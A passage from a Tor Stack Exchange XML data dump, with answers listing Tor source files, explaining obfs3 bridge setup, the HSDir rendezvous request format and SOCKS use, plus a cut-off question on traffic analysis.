&lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/tortls.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wrapper functions to present a consistent interface to TLS, SSL, and X.509 functions from OpenSSL&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/address.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to use and manipulate the tor_addr_t structure&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/torgzip.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A simple in-memory gzip implementation&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/aes.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements a counter-mode stream cipher on top of AES&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/mempool.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is an implementation of memory pools for Tor cells&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/util.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Common functions for strings, IO, network, data structures, process control&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/common/compat.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Wrappers to make calls more portable&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_config.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_config.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_containers.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_containers.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_introduce.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_introduce.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Unit tests for many pieces of the lower level Tor modules&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_util.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_util.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_dir.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_dir.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/bench.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Benchmarks for lower level Tor modules&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_ntor_cl.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_ntor_cl.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_microdesc.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_microdesc.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_crypto.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_crypto.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_addr.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_addr.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_cell_formats.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_cell_formats.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_replay.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_replay.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_data.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_data.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test-child.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Trivial test program which prints out its command line arguments&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/test/test_pt.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;test_pt.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/networkstatus.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions and structures for handling network status documents as a client or cache&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/dns.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements a local cache for DNS results for Tor servers&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/rendcommon.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Rendezvous implementation: shared code between introducers, services, clients, and rendezvous points&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/config.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to parse and interpret configuration files&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/replaycache.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Self-scrubbing replay cache for rendservice.c &lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/command.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions for processing incoming cells&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/transports.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Pluggable Transports related code&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/connection_or.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to handle OR connections, TLS handshaking, and cells on the network&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/status.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Keep status information and log the heartbeat messages&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuitbuild.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The actual details of building circuits&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuitlist.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Manage the global circuit list&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/routerset.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A routerset specifies constraints on a set of possible routerinfos&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/confparse.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to parse config options&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/addressmap.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A client-side struct to remember requests to rewrite addresses to new addresses&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/nodelist.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;A list of all the nodes&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuitmux.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Circuit mux/cell selection abstraction&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/rendmid.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implement introductions points and rendezvous points&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/config_codedigest.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Return a string describing the digest of the source files in src/or/&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/statefile.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;statefile.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/routerparse.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to parse and validate router descriptors and directories&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/dirserv.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Directory server core implementation&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/connection_edge.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Handle edge streams&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/dnsserv.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements client-side DNS proxy server code&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/onion_tap.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to implement the original Tor circuit extension handshake&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/buffers.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements a generic interface buffer&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/rendclient.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Client code to access location-hidden services&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/ntmain.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;ntmain.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/onion_ntor.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;onion_ntor.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/relay.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Handle relay cell encryption/decryption, plus packaging and  receiving from circuits, plus queuing on circuits&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/fp_pair.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;fp_pair.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/hibernate.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to close listeners, stop allowing new circuits, etc&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuituse.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Launch the right sort of circuits and attach streams to them&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/entrynodes.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to manage our fixed first nodes for various functions&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/router.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;OR functionality, including key maintenance, generating and uploading server descriptors, retrying OR connections&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/connection.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;General high-level functions to handle reading and writing on connections&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/reasons.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Convert circuit, stream, and orconn error reasons to and/or from strings and errno values&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/microdesc.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;microdesc.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/tor_main.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Stub module containing a main() function. Allows unit test binary to link against main.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/main.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Toplevel module. Handles signals, multiplexes between connections, implements main loop, and drives scheduled events&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuitmux_ewma.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;EWMA circuit selection as a circuitmux_t policy&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/policies.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to parse and use address policies and exit policies&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/cpuworker.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implements a farm of 'CPU worker' processes to perform CPU-intensive tasks in another thread or process, to not interrupt the main thread&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/directory.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to send and fetch directories and router descriptors via HTTP&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/control.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Implementation for Tor's control-socket interface&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/onion_fast.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions implement the CREATE_FAST circuit handshake&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/channeltls.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;channel_t concrete subclass using or_connection_t &lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/rendservice.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The hidden-service side of rendezvous functionality&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/dirvote.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to compute directory consensus, and schedule voting&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/onion.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions to queue create cells, wrap the various onionskin types, and parse and create the CREATE cell and its allies&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/circuitstats.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Global list of circuit build times&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/geoip.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Functions related to maintaining an IP-to-country database&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/channel.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;OR-to-OR channel abstraction layer&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/routerlist.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code to maintain and access the global list of routerinfos for known servers&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/or/rephist.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Basic history and &quot;reputation&quot; functionality to remember which servers have worked in the past, how much bandwidth we've  been using, which ports we tend to want, and so on&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-gencert.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tor-gencert.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-fw-helper/tor-fw-helper.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The main wrapper around our firewall helper logic&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-fw-helper/tor-fw-helper-upnp.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The implementation of our UPnP firewall helper&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-fw-helper/tor-fw-helper-natpmp.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The implementation of our NAT-PMP firewall helper&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-resolve.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tor-resolve.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;[tor-2ee56e4/src/tools/tor-checkkey.c]&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;tor-checkkey.c&lt;/p&gt;&#xA;  &#xA;  &lt;hr&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But there might be stuff that you must read from source code files.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastEditorUserId="923" LastEditDate="2014-07-11T17:30:32.307" LastActivityDate="2014-07-11T17:30:32.307" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3525" PostTypeId="2" ParentId="3500" CreationDate="2014-07-11T20:01:04.007" Score="1" Body="&lt;p&gt;If you want to run Tor in command-line mode, Tor Browser Bundle is not necessary. Instead you can use the &lt;a href=&quot;https://www.torproject.org/docs/rpms.html.en&quot; rel=&quot;nofollow&quot;&gt;RPMs&lt;/a&gt; to install Tor. Go to the &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;bridges page&lt;/a&gt;. This page shows you some available bridges and you can also choose obfs3 here. Now open your &lt;code&gt;torrc&lt;/code&gt; and add the lines you see at the bridges page. The lines look like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfs3 127.0.0.1:60746 67890fea1264b5e535def1eb41e06 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter where these lines are. After you copied them, save the &lt;code&gt;torrc&lt;/code&gt; and restart Tor. It will connect to the obfs3 bridges now.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-11T20:01:04.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostTypeId="2" ParentId="3488" CreationDate="2014-07-11T21:25:32.047" Score="2" Body="&lt;p&gt;Gitweb allows you to &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree&quot; rel=&quot;nofollow&quot;&gt;browse through the code&lt;/a&gt;. Especially the &lt;a href=&quot;https://gitweb.torproject.org/tor.git/tree/HEAD:/src/or&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/or&lt;/code&gt;&lt;/a&gt; directory has relevant source code. Some of the files contain a description what this file does:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; /**&#xA; * \file directory.c&#xA; * \brief Code to send and fetch directories and router&#xA; * descriptors via HTTP. Directories use dirserv.c to generate the&#xA; * results; clients use routers.c to parse them.&#xA; **/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This belongs to&lt;a href=&quot;https://gitweb.torproject.org/tor.git/blob/HEAD:/src/or/directory.c&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;src/or/directory.c&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-11T21:25:32.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3527" PostTypeId="2" ParentId="3484" CreationDate="2014-07-11T22:55:28.183" Score="0" Body="&lt;p&gt;You have several possibilities here. You can&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;deliver an own Tor binary. So your application can either bring a copy of Tor with it or can download a recent copy of it.&lt;/li&gt;&#xA;&lt;li&gt;test if the user has installed it and if it runs. Depending on the test you give a feedback to the user.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When Tor runs, make sure that &lt;code&gt;SocksPort&lt;/code&gt; in the &lt;code&gt;torrc&lt;/code&gt; is set. Your application can now connect to the &lt;code&gt;SocksPort&lt;/code&gt; and use it as SOCKS proxy.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-11T22:55:28.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3528" PostTypeId="1" CreationDate="2014-07-12T01:29:14.533" Score="3" ViewCount="214" Body="&lt;p&gt;Does anyone have an example of what GET request is needed to be send to the responsible HSDir server to retrieve the rendezvous2 document for a specified HS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;GET HTTP/1.1\r\nHost:&quot;+web_addresses+&quot;\r\n\r\n&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but do not think this is correct as I am unable to retrieve the docs.&lt;/p&gt;&#xA;" OwnerUserId="3075" LastEditorUserId="923" LastEditDate="2014-07-12T15:12:04.343" LastActivityDate="2014-07-12T15:12:04.343" Title="Example GET request for the rendezvous doc" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3529" PostTypeId="2" ParentId="3528" CreationDate="2014-07-12T02:15:43.583" Score="3" Body="&lt;p&gt;You want to make a request of the form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;GET /tor/rendezvous2/&amp;lt;descriptor-id&amp;gt; HTTP/1.0&lt;br/&gt;&#xA;  Host: &amp;lt;HSDir-IP&amp;gt;:&amp;lt;HSDir-port&amp;gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A rather annoying thing about newer versions of Tor is that making a direct (unencrypted) HTTP request like that won't actually work. Instead you need to make the request over a circuit that ends at the HSDir.&#xA;I'm not completely sure of the details, but it's much easier using or modifying an existing Tor client (such as Orchid) than writing your own to do that.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-12T02:15:43.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3530" PostTypeId="1" CreationDate="2014-07-12T02:31:29.267" Score="1" ViewCount="72" Body="&lt;p&gt;I gather that relay adversaries employ traffic analysis to determine that two of their relays are part of the same circuit. And I vaguely recall a comment, perhaps on the Tor Project blog, that matching circuit-level traffic is easier than matching packet-level traffic, as network adversaries must do. The argument, as I recall, involved constant cell size for circuit-level traffic vs loss and retransmission complexity for packet-level traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a link for the comment, and also for further explanation and/or resources on the issue.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2014-07-12T02:31:29.267" Title="Is traffic analysis easier for relay adversaries than for network adversaries?" Tags="|relays|traffic-analysis|relay-adversary|network-adversary|" 